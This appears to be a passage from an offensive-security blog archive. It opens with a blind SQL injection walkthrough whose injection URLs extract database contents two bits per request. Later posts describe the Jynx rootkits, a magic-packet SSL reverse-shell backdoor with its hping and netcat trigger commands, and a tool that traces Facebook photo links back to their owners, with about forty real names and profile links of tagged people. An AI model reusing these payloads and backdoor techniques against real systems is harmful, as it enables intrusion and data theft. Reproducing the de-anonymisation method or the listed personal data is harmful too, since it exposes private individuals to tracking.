mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=4) and '1'='1';
Empty set (0.00 sec)

So in this particular example, we can actually use the "null" value as a fourth value. The same result applies when we place pos=0, and therefore we can use it as a 0-3 counter. Boolean enumeration bases its findings on yes or no answers (true or false) which results in it taking one request to determine the value of one bit. But in this case, we actually have the access to two bits of data, because we are using the null value as a placeholder for 0. The maximum value of a nybble (4 bits) is 15. So, it can only go into 4 using integer division 0-3 times. Not only that, but the value of 15 modulus 4 can also only be 0-3. So first lets concentrate on selecting a single nibble of data.

mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1));
+------------------------------------------------------------+
| ascii(mid((select concat(version(),0x3a,database())),1,1)) |
+------------------------------------------------------------+
|                                                         53 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select hex(mid((select concat(version(),0x3a,database())),1,1));
+----------------------------------------------------------+
| hex(mid((select concat(version(),0x3a,database())),1,1)) |
+----------------------------------------------------------+
| 35                                                       |
+----------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1);
+-------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) |
+-------------------------------------------------------------------+
| 3                                                                 |
+-------------------------------------------------------------------+
1 row in set (0.00 sec)

Now integer division would tell us:

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4;
+-------------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4 |
+-------------------------------------------------------------------------+
|                                                                       0 |
+-------------------------------------------------------------------------+
1 row in set (0.00 sec)

And modulus tells us:

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4;
+-----------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4 |
+-----------------------------------------------------------------------+
|                                                                     3 |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

So we can say the first query results in 0, so 0 * 4 = 0, then add the remainder (the modulus) 3. How do we know what we got? Well, the first injected query, looking something like:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1';
Empty set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1

The page returns nothing because of the empty set, and we know the value of our division by 4 is zero. So, 0 * 4 = 0, and we will just add the 3. We can get the three from:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4)) and '1'='1';
+----+
| id |
+----+
| 93 |
+----+
1 row in set (0.01 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1

Which returns the third comment, and therefore you know the value of pos is 3. Now we know the first nybble is 3, onto the second:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) % 4)) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

So for our formula, dividend * 4 + modulus, we can say 1 * 4 + 1, or 5. The url's to obtain this would be:

  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1

Respectively. Both pages return the first comment, so you can say the result is 5. Now we've calculated a byte. We had only 3 records in the database, but it only took us four requests to get a byte:


  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) %25 4)) and '1'='1

So given that you only had the values of two bits to work with, 0-3, derived from 3 records and a null output, you could still easily retrieve two bits of data per request (2 * 4 = 8 bits = 1 byte).


Extra resources

:

Wednesday, August 21, 2013

PyTinyDNS Part 2

Introduction

    In the last post, I wrote about the PyTinyDNS project that I had been working on for my VPN setup. PyTinyDNS is a small DNS A record resolver that runs on your standard DNS port (53). Since then I've added some more features that I feel make this an even more powerful and versatile tool. The github repository is being regularly updated as I push out new changes. Please feel free to add any issues or tweaks that you see fit.

Recent Updates

    Since the original push to github, the following features have been added or changed.
  • Flat host configuration files are still in use, but its been moved to a .host file.
  • Config files can now be used instead of specifying each option in the command line.
  • Redis-server is now used as a database storage for A records.
  • Added redis_import.py in order to import A records into a live instance. Updated domain results take effect immediately
  • Redis import tool can now handle single host updates using -u domain:ip

Example Config File

[PyTinyDNS]
DefaultIP = 192.168.1.99
Use_Redis = yes
Redis_Server = localhost
#Host_File = pytinydns.host

    If Use_Redis is set to no, it'll resolve all requests with the DefaultIP or refer to Host_File (if set) in order to resolve the A records.

Possible Uses

  • Resolve internal domains
  • DNS Spoofing
  • Fast Flux implementation
  • Malware analysis

To Do List

  • Add option to resolve real IPs of non matched domains
  • Add time based IP rotation
  • Add option to reply with different IPs based on conditions being met
  • Add wildcard handling for domains
  • Add more than A record resolution

Source

Monday, August 19, 2013

PyTinyDNS -- Simple Python A Record Resolver

The Backstory

Recently I have been working on a side project; setting up OpenVPN for friends and family as a simple means of reasonably secure file sharing, media streaming, chatting, and e-mails. Not everyone that will be connected to the VPN is that technically savvy, so I'm trying to make things as easily accessible as possible. One way to make it easier to navigate would be an internal DNS server. At this point, I'm too lazy to setup and configure BIND just so that I can resolve a handful of local subdomains. 

Time for Python

After doing a little bit of searching, I found the following code. It's a small (under 50 lines of code) A record DNS resolver in Python with sockets being the only module requirement. The script resolves ALL domains to a single IP address for malware analysis purposes. This worked out perfectly for what I needed, so I decided to add a config file to make adding more than one A record a breeze. PyTinyDNS now accepts a default IP as an argument in case the domain is not specifically defined in the config. 

Example Config File

# Comment
google.com.:192.168.1.2
yahoo.com.:192.168.1.3

The Code

You can grab a copy of the code and an example config file on github
git clone https://github.com/chokepoint/pytinydns
I'll be adding extra features as I get bored, but for now this meets my current requirements for the VPN.

Update

I've added redis DB support, so that the DNS records can be updated live. Still supports flat file config, if you don't plan in setting up redis-server.

Monday, August 12, 2013

Jynx/Jynx2 Userland Rootkits

Well, I'm still migrating the rest of my code and posts over to the new site, here's another old one.

Jynxkit and Jynx2

Jynx is a userland preload kit built for Linux based systems. Jynx and Jynx2 differ mainly in how the backdoor is setup. Jynx uses a magic packet reverse backdoor system while Jynx2 hooks the accept() system call and can be used with any existing daemon already running on the system.

Jynxkit

Source

Jynx2

Source

Analysis

Sneak Peak
Analysis using volatility


Friday, August 9, 2013

Facebook Picture to ID

Introduction

Its recently come to my attention that most people assume Facebook pictures can't be tied directly back to the owner given only a direct link to the picture. Well, this little utility was written to show just how easy it could be to use Facebook image links posted in IRC or elsewhere to track down the original owner of the content, and people tagged in the photo.


Parsing the URL


Take the following image link that I pulled from a random Google image search.
https://sphotos-b-ord.xx.fbcdn.net/hphotos-frc1/p480x480/1044981_547409191984903_1858736086_n.jpg
The main portion of the URL that we're interested in is the filename of the JPEG.
1044981_547409191984903_1858736086_n.jpg
The middle number is the FBID of the original photo album. This can be accessed by modifying a simple GET request to Facebook.
https://www.facebook.com/photo.php?fbid=547409191984903
From here it's as simple as parsing out the data that we want from the HTML. For this I decided to use BeautifulSoup and Python for simplicity and readability sake.

Example


# ./fbpic2id.py https://sphotos-b-ord.xx.fbcdn.net/hphotos-frc1/p480x480/1044981_547409191984903_1858736086_n.jpg
 
Album URL: http://www.facebook.com/photo.php?fbid=547409191984903

Owner (Page/Group): Best photos of the world
Owner URL: https://www.facebook.com/Best.Fotos.Of.The.World

Tagged with profiles:
Vikas Gaikwad (https://www.facebook.com/vikas.gaikwad.1612)
Lakhan Bhanuse (https://www.facebook.com/lakhan.bhanuse)
Kiran Ghoble (https://www.facebook.com/kiran.ghoble)
Abin Chakkara (https://www.facebook.com/abin.chakkara)
Vitthal Jadhav (https://www.facebook.com/vitthal.jadhav.52459)
Harshit Kumar (https://www.facebook.com/pammu.kumar.9)
Manish Sharma (https://www.facebook.com/manishmontysharma)
Vivek Bhumkar (https://www.facebook.com/vivek.bhumkar.1)
Sopho Arakishvili (https://www.facebook.com/sopho.arakishvili)
Sunil Kumar (https://www.facebook.com/people/Sunil-Kumar/100004499886492)
Shahib Singh (https://www.facebook.com/shahib.singh.3)
Mita Das (https://www.facebook.com/mukta.das.583)
Sneha Sweet (https://www.facebook.com/sneha.sweet.5872)
Rakesh Biyani (https://www.facebook.com/rakesh.biyani.50)
Zura Arakishvili (https://www.facebook.com/zura.arakishvili)
Dalia Edith Pérez Castañeda (https://www.facebook.com/daliaperezxalapa)
Shivu Vicky (https://www.facebook.com/shivanands.langaatad)
Forgive To Forget (https://www.facebook.com/thuchoa.tran)
Amit Verma (https://www.facebook.com/people/Amit-Verma/100003237125978)
Khursheed Patel (https://www.facebook.com/khursheed.patel)
Munmun Guha (https://www.facebook.com/munmun.guha.71)
Krishna Nk (https://www.facebook.com/krishnamurthy.axn)
Debabrata Paul (https://www.facebook.com/debabrata.paul.505)
Leveny Pradas West (https://www.facebook.com/levywest)
Adele McLeod (https://www.facebook.com/adele.mcleod1)
Leonardo L. Canillas (https://www.facebook.com/virgilio.canillas.18)
Mahshid Rh (https://www.facebook.com/mahshid.rahimi.5)
Ajay Giri (https://www.facebook.com/ajay.giri.3517)
Sudha Bharti (https://www.facebook.com/sudha.bharti.98)
Mehrdad Rahimi (https://www.facebook.com/mehrdad.rahimi.12)
Sameer Sam (https://www.facebook.com/sameer.sam.31945243)
Crystal Flowers (https://www.facebook.com/1.psycho.pixie)
Vesna Nikolcov (https://www.facebook.com/vesna.nikolcov)
Ziba Rahimi (https://www.facebook.com/ziba.rahimi)
Mary Smith White (https://www.facebook.com/mary.s.white.79)
Kỉ Hà Băng (https://www.facebook.com/tathi.thuan)

Tagged without profiles:
Prashant Rammtake
Lawrence Luggionskky
Maria C. Lanza
Vìvék Yàdûwáñshí
Satendra Yadav

Getting the source

 git clone https://github.com/chokepoint/fbpic2id.git

 Limitations

Some results on Facebook are limited to users that aren't logged in. In order to get greater results, adding login capability to the script would likely yield more information. Another idea would be to combine this with Facebook Query Language (FQL) in order to scrape information on each owner and taggee. For more information about FQL scraping check out Blackhat Library

Friday, August 2, 2013

SEQ/ACK Reverse Connect SSL Shell

SEQAck is an SSL encrypted, magic packet triggered reverse connect backdoor application. I wrote this as part of the original Jynx-Kit LD_PRELOAD rootkit, as released on from the Blackhat Library. With the second installation of the rootkit, we moved away from the stand alone reverse connection backdoor, and decided to hook accept() system call instead. Not only was it simply to demonstrate another example of creating a backdoor, but it also fit perfectly with what we were doing; making things more modular.

This backdoor silently sniffs on the given interface for all incoming TCP packets. It relies on two defined rules, MAGIC_SEQ and MAGIC_ACK, which are easily manipulated in the TCP headers. Once the magic packet is received, it initiates an SSL encrypted reverse connecting shell to the host that sent the packet, on the given source port. For example, we can initiate the reverse connect with the following hping command.

# hping -M 0xdead -L 0xbeef google.com -s 5000 -c 1
Notice, the source port is 5000, SEQ (-M) is 0xdead and ACK (-L) is 0xbeef. With this example, we'd also need the following nc (netcat supplied with nmap) running in the background to accept the incoming connection.
# nc -l -p 5000 --ssl
And there you have it, the reverse connect shell was successful, and you're in complete control. The idea of using SEQ/ACK values could be applied to a single packet port knock sequence as well, so this application could be easily tweaked or expanded upon based on your requirements
Source is linked below.


Links:
Source: https://github.com/chokepoint/seqack
BHL: http://www.blackhatlibrary.net/Main_Page
Jynx-Kit: http://www.blackhatlibrary.net/Jynx

Sunday, July 28, 2013

ChokePoint BBS

              _________   ___ ___ ________   ____  __.___________
              \_   ___ \ /   |   \\_____  \ |    |/ _|\_   _____/
              /    \  \//    ~    \/   |   \|      <   |    __)_ 
              \     \___\    Y    /    |    \    |  \  |        \
               \______  /\___|_  /\_______  /____|__ \/_______  /
                      \/       \/         \/        \/        \/ 
  __________________  .___ __________________ ____________________  _________
  \______   \_____  \ |   |\      \__    ___/ \______   \______   \/   _____/
   |     ___//   |   \|   |/   |   \|    |     |    |  _/|    |  _/\_____  \ 
   |    |   /    |    \   /    |    \    |     |    |   \|    |   \/        \
   |____|   \_______  /___\____|__  /____|     |______  /|______  /_______  /
                    \/            \/                  \/        \/        \/
Nostalgic win

I found some old source code from 2005 on one of my external hard drives the other day, and decided to restore a nostalgic project. My full fledged Bulletin Board System, yup the same type that you used to dial into as a kid. The scale is some what smaller than the original BBSes, but most key functionality is still included.

The CPBBS is quite versatile, as it can be deployed on a modem (agetty), a tcp port (netcat), or it can be used as a login shell for ssh. It uses a flat file system for user profiles, logs, board messages, and private messages.

Updates will be added to the github repository as they become available. Plans for the near future: command processing engine, minor tweaks to functions, added capabilities, and a possible migration to a database oriented system. This was a fun project when I first started, and expect it to be just as fun this time around.

So, without any further blathering, here's the source, in its original entirety on github. www.github.com/chokepoint/CPBBS